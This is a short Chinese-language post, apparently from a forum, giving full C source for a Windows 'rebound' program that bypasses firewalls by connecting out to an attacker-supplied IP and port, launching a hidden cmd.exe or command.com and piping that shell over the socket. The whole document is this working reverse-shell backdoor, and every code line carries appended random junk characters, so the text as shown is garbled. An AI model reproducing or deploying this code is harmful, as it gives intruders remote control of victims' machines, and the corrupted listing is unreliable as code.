这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 rIQ%X`Y
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/* ============================== OI^sd_gkZ
Rebound port in Windows NT {YF(6wVl
By wind,2006/7 0rCQz3gh1
===============================*/ K7=>o*p
#include ,U?^u%
#include A#8J6xcSrL
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#pragma comment(lib,"wsock32.lib") <KBS ;t="1
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void OutputShell(); (qDPGd*1
SOCKET sClient; k]9+/$
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; tx ,q=.(
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void main(int argc,char **argv) l-?#oy
{ DAf0bh"
WSADATA stWsaData; jhH&}d9
int nRet; ) m(!lDz3
SOCKADDR_IN stSaiClient,stSaiServer; Wg\MaZ6Di
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if(argc != 3) j] J-#J
{ m"GgaH3,
printf("Useage:\n\rRebound DestIP DestPort\n"); C_S2a0?
return; 3wN{k\ns
} Q)2i{\GPVn
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WSAStartup(MAKEWORD(2,2),&stWsaData); #MUY!
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iaHL&)[YK
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stSaiClient.sin_family = AF_INET; ]\ t20R{z
stSaiClient.sin_port = htons(0); 1'f&
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W<>R;~)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jx14/E+^
{ <RuLIu
printf("Bind Socket Failed!\n"); $g_|U:,
return; %\T#Ik~3
} m\G45%m
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stSaiServer.sin_family = AF_INET; 1|:'jK#gE
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /<1zzeHRSD
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +h@ZnFp3
oc;4;A-;`c
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) DO6
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{ 17#t 7Yk
printf("Connect Error!"); VI]~uTV
return; QXEz[R
} Y 2[ik<
OutputShell(); c!N#nt_<
} 7n]ukqZ
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void OutputShell() S/dj])g
{ z&yVU<;
char szBuff[1024]; Mh]4K"cs
SECURITY_ATTRIBUTES stSecurityAttributes; j937tn!Q
OSVERSIONINFO stOsversionInfo; .f&Z+MQ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Hi nJ}MF
STARTUPINFO stStartupInfo; T&'LQZM8
char *szShell; CbFO9q
PROCESS_INFORMATION stProcessInformation; : +f6:3
unsigned long lBytesRead; +]p/.-Uw
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:
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~d-Q3n?zR
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); kgd
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stSecurityAttributes.lpSecurityDescriptor = 0; $}B&u )
stSecurityAttributes.bInheritHandle = TRUE; 7()5\ae@q'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); l ;S_ J^S
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )j!%`g
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); e[6Me[b
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s9SUj^
stStartupInfo.wShowWindow = SW_HIDE; E:Ul_m8
stStartupInfo.hStdInput = hReadPipe; e5(c,,/
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .|0$?w
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GetVersionEx(&stOsversionInfo); <Ok7-:OxA
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switch(stOsversionInfo.dwPlatformId) o1thGttVDg
{ [9yd29pQ]
case 1: ]e$n ;tuW
szShell = "command.com"; 9<.8mW^68
break; ?}HZJ@:lB
default: `4wy
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szShell = "cmd.exe"; 0-p
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break; 5t|$Yt[
} LI>Bl
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :XOjS[wBm
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send(sClient,szMsg,77,0); A4/gVi|
while(1) >:h&5@^j$
{ lQxEiDIL
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ra8AUj~RX
if(lBytesRead) $3xDjiBb
{ h-fm)1S_
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3;88a!AA!
send(sClient,szBuff,lBytesRead,0); P MI?PC[;
} :s1.TQ;Y(
else eQ,VK`7X
{ Y.kc,~vYL
lBytesRead=recv(sClient,szBuff,1024,0); /#j)GlNp:
if(lBytesRead<=0) break; ` 5n^DP*X
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); JOyM#g9-?
} %Vfr#j$=
} 58R.`5B
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return; 8( Q[A
}